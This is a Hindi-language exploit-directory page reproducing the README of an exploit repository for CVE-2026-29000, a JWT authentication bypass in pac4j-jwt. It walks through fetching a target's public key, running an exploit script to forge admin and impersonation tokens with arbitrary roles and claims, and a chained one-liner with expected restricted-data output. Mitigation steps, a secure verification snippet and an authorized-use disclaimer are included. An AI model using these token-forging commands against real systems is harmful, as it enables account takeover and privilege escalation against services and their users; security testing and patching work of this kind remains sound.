Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/rootx111/cve-2026-29000
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubrootx111/cve-2026-29000

cve-2026-29000

CVE-2026-29000 के लिए एक्सप्लॉइट, pac4j-jwt में JWE-रैप्ड PlainJWT के माध्यम से JWT प्रमाणीकरण बायपास, जो टोकन जालसाजी और विशेषाधिकार वृद्धि की अनुमति देता है।

रिपॉजिटरी देखें
215 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-29000 एक्सप्लॉइट

pac4j-jwt में JWE-रैप्ड PlainJWT के माध्यम से JWT प्रमाणीकरण बाईपास

भेद्यता विवरण

CVE-2026-29000 एक गंभीर प्रमाणीकरण बाईपास भेद्यता है जो pac4j-jwt के 4.5.9, 5.7.9, और 6.3.3 से पहले के संस्करणों को प्रभावित करती है। यह भेद्यता दूरस्थ हमलावरों को प्रमाणीकरण टोकन जाली बनाने और हस्ताक्षर सत्यापन को बायपास करने की अनुमति देती है।

तकनीकी विवरण

यह भेद्यता एन्क्रिप्टेड JWT (JWE) को संसाधित करते समय JwtAuthenticator घटक में मौजूद है। जब एक JWE टोकन प्राप्त होता है:

  1. सर्वर अपनी RSA निजी कुंजी का उपयोग करके JWE को डिक्रिप्ट करता है
  2. डिक्रिप्ट की गई सामग्री एक आंतरिक JWT प्रकट करती है
  3. भेद्यता: सर्वर आंतरिक JWT के हस्ताक्षर को सत्यापित किए बिना उससे दावे निकालता है
  4. हमलावर एक JWE तैयार कर सकते हैं जो मनमाने दावों के साथ एक PlainJWT (एल्गोरिदम: "none") को लपेटता है

हमले की आवश्यकताएँ

  • सर्वर की RSA सार्वजनिक कुंजी तक पहुंच (अक्सर JWKS एंडपॉइंट के माध्यम से उजागर)
  • कमजोर एप्लिकेशन को तैयार किए गए टोकन भेजने की क्षमता

प्रभाव

  • पूर्ण प्रमाणीकरण बाईपास: हमलावर किसी भी उपयोगकर्ता के रूप में प्रमाणित हो सकते हैं
  • विशेषाधिकार वृद्धि: व्यवस्थापक भूमिकाओं सहित मनमानी भूमिकाएँ निर्दिष्ट कर सकते हैं
  • सत्र अपहरण: बिना क्रेडेंशियल के वैध उपयोगकर्ताओं का रूप धारण कर सकते हैं

प्रभावित संस्करण

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

रिपॉजिटरी सामग्री

  • exploit.py - दुर्भावनापूर्ण टोकन उत्पन्न करने के लिए Python एक्सप्लॉइट स्क्रिप्ट
  • vulnerable_server.py - भेद्यता का अनुकरण करने वाला प्रदर्शन सर्वर
  • requirements.txt - Python निर्भरताएँ
  • README.md - यह फ़ाइल

स्थापना

पूर्वापेक्षाएँ

  • Python 3.8 या उच्चतर
  • pip पैकेज मैनेजर

सेटअप

root@kitploit:~
# रिपॉजिटरी क्लोन करें
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# निर्भरताएँ स्थापित करें
pip3 install -r requirements.txt

उपयोग

चरण 1: कमजोर परीक्षण सर्वर प्रारंभ करें

root@kitploit:~
python3 vulnerable_server.py

सर्वर निम्न कार्य करेगा:

  • RSA कुंजी जोड़ी उत्पन्न करेगा (server_private.pem और server_public.pem में सहेजा गया)
  • http://127.0.0.1:5000 पर प्रारंभ होगा
  • सार्वजनिक कुंजी http://127.0.0.1:5000/public-key पर उजागर करेगा

चरण 2: लक्ष्य की सार्वजनिक कुंजी प्राप्त करें

वास्तविक हमले के परिदृश्य में, लक्ष्य सर्वर से सार्वजनिक कुंजी प्राप्त करें:

root@kitploit:~
# JWKS एंडपॉइंट से सार्वजनिक कुंजी डाउनलोड करें
curl http://target-server.com/jwks > target_jwks.json

# या सीधा सार्वजनिक कुंजी एंडपॉइंट
curl http://target-server.com/public-key > target_public.pem

परीक्षण सर्वर के लिए:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

चरण 3: दुर्भावनापूर्ण टोकन उत्पन्न करें

JWE-रैप्ड PlainJWT बनाने के लिए एक्सप्लॉइट स्क्रिप्ट का उपयोग करें:

root@kitploit:~
# मूल उपयोग - व्यवस्थापक के रूप में प्रमाणित करें
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# एकाधिक भूमिकाओं के साथ विशिष्ट उपयोगकर्ता के रूप में प्रमाणित करें
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# कस्टम दावे जोड़ें
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# टोकन को फ़ाइल में सहेजें
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

चरण 4: हमले का परीक्षण करें

कमजोर सर्वर के विरुद्ध परीक्षण

root@kitploit:~
# दुर्भावनापूर्ण टोकन सेट करें (exploit.py आउटपुट से कॉपी करें)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# सार्वजनिक एंडपॉइंट तक पहुंचें (काम करना चाहिए)
curl http://127.0.0.1:5000/api/public

# दुर्भावनापूर्ण टोकन के साथ उपयोगकर्ता एंडपॉइंट तक पहुंचें (बाईपास!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# दुर्भावनापूर्ण टोकन के साथ व्यवस्थापक एंडपॉइंट तक पहुंचें (विशेषाधिकार वृद्धि!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

व्यवस्थापक एंडपॉइंट से अपेक्षित सफल आउटपुट:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

पूर्ण हमला कार्यप्रवाह

पूर्ण परीक्षण कमांड

root@kitploit:~
# 1. निर्भरताएँ स्थापित करें
pip3 install -r requirements.txt

# 2. कमजोर सर्वर प्रारंभ करें (टर्मिनल 1 में)
python3 vulnerable_server.py

# 3. नए टर्मिनल में, सार्वजनिक कुंजी प्राप्त करें
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. दुर्भावनापूर्ण व्यवस्थापक टोकन उत्पन्न करें
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. टोकन को वेरिएबल में निकालें
TOKEN=$(cat token.txt)

# 6. सार्वजनिक एंडपॉइंट का परीक्षण करें (आधार रेखा - कोई प्रमाणीकरण आवश्यक नहीं)
curl http://127.0.0.1:5000/api/public

# 7. उपयोगकर्ता एंडपॉइंट का परीक्षण करें (हमारे दुर्भावनापूर्ण टोकन के साथ सफल होना चाहिए)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. व्यवस्थापक एंडपॉइंट का परीक्षण करें (एक्सप्लॉइट सफल - प्रतिबंधित डेटा तक पहुंचना चाहिए)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. सत्यापित करें कि प्रतिक्रिया में फ्लैग है
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

उन्नत हमला परिदृश्य

परिदृश्य 1: विशिष्ट उपयोगकर्ता का रूप धारण करें

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

परिदृश्य 2: व्यवस्थापक तक वृद्धि

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

परिदृश्य 3: कस्टम दावे इंजेक्शन

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

एक्सप्लॉइट स्क्रिप्ट विकल्प

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

भेद्यता कैसे काम करती है

सामान्य JWT प्रवाह (सुरक्षित)

root@kitploit:~
1. क्लाइंट हस्ताक्षर के साथ JWT भेजता है
2. सर्वर सार्वजनिक कुंजी के साथ हस्ताक्षर सत्यापित करता है
3. यदि मान्य है, तो दावे निकालता है
4. दावों के आधार पर पहुंच प्रदान करता है

कमजोर प्रवाह (CVE-2026-29000)

root@kitploit:~
1. हमलावर सर्वर की RSA सार्वजनिक कुंजी प्राप्त करता है
2. हमलावर मनमाने दावों के साथ PlainJWT (alg: none) बनाता है
   उदाहरण: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. हमलावर सर्वर की सार्वजनिक कुंजी के साथ JWE का उपयोग करके PlainJWT को एन्क्रिप्ट करता है
4. सर्वर JWE को सफलतापूर्वक डिक्रिप्ट करता है
5. सर्वर हस्ताक्षर सत्यापन के बिना आंतरिक PlainJWT से दावे निकालता है
6. सर्वर जाली दावों के आधार पर पहुंच प्रदान करता है

यह क्यों काम करता है

भेद्यता निम्न कारणों से होती है:

  • JWE गोपनीयता प्रदान करता है, आंतरिक सामग्री के लिए अखंडता नहीं
  • सर्वर मानता है कि डिक्रिप्शन सफलता प्रामाणिकता का संकेत है
  • PlainJWT (alg: none) में सत्यापित करने के लिए कोई हस्ताक्षर नहीं होता
  • दावों पर केवल इसलिए भरोसा किया जाता है क्योंकि वे एन्क्रिप्टेड थे

शमन

डेवलपर्स के लिए

  1. pac4j-jwt को अपडेट करें संस्करण 4.5.9, 5.7.9, 6.3.3 या बाद के संस्करण में
  2. JWE डिक्रिप्शन के बाद आंतरिक JWT पर हस्ताक्षर सत्यापित करें
  3. PlainJWT टोकन अस्वीकार करें (एल्गोरिदम: "none")
  4. JWT हेडर में एल्गोरिदम को अनुमत सूची के विरुद्ध सत्यापित करें

सिस्टम व्यवस्थापकों के लिए

  1. कमजोर एप्लिकेशन तुरंत अपडेट करें
  2. संदिग्ध गतिविधि के लिए प्रमाणीकरण लॉग का ऑडिट करें
  3. उपयोगकर्ता सत्रों की समीक्षा करें और संदिग्ध टोकन रद्द करें
  4. अतिरिक्त प्रमाणीकरण परतों को लागू करने पर विचार करें

सुरक्षित कार्यान्वयन

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. JWE डिक्रिप्ट करें
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. आंतरिक JWT हेडर पार्स करें
    header = parse_jwt_header(inner_jwt)

    # 3. महत्वपूर्ण: सत्यापित करें कि एल्गोरिदम "none" नहीं है
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. महत्वपूर्ण: आंतरिक JWT के हस्ताक्षर सत्यापित करें
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. सत्यापन के बाद ही दावे निकालें
    return extract_claims(inner_jwt)

परीक्षण चेकलिस्ट

  • निर्भरताएँ स्थापित करें: pip3 install -r requirements.txt
  • कमजोर सर्वर प्रारंभ करें: python3 vulnerable_server.py
  • सार्वजनिक कुंजी प्राप्त करें: curl http://127.0.0.1:5000/public-key > server_public.pem
  • दुर्भावनापूर्ण टोकन उत्पन्न करें: python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • सार्वजनिक एंडपॉइंट का परीक्षण करें: curl http://127.0.0.1:5000/api/public
  • टोकन के साथ उपयोगकर्ता एंडपॉइंट का परीक्षण करें: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • टोकन के साथ व्यवस्थापक एंडपॉइंट का परीक्षण करें: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
  • फ्लैग प्राप्त होने की पुष्टि करें: FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS} देखें

त्वरित प्रारंभ मार्गदर्शिका

root@kitploit:~
# एक-लाइनर सेटअप और परीक्षण
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

संदर्भ

  • CVE-2026-29000 परामर्श
  • pac4j सुरक्षा परामर्श
  • OWASP JWT सुरक्षा चीट शीट
  • RFC 7519 (JSON वेब टोकन)
  • RFC 7516 (JSON वेब एन्क्रिप्शन)

अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। इस उपकरण का उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।

लाइसेंस

MIT लाइसेंस - केवल शैक्षिक उद्देश्यों के लिए

लेखक

सुरक्षा शोधकर्ता दिनांक: 2026-03-16

टूल डाउनलोड करें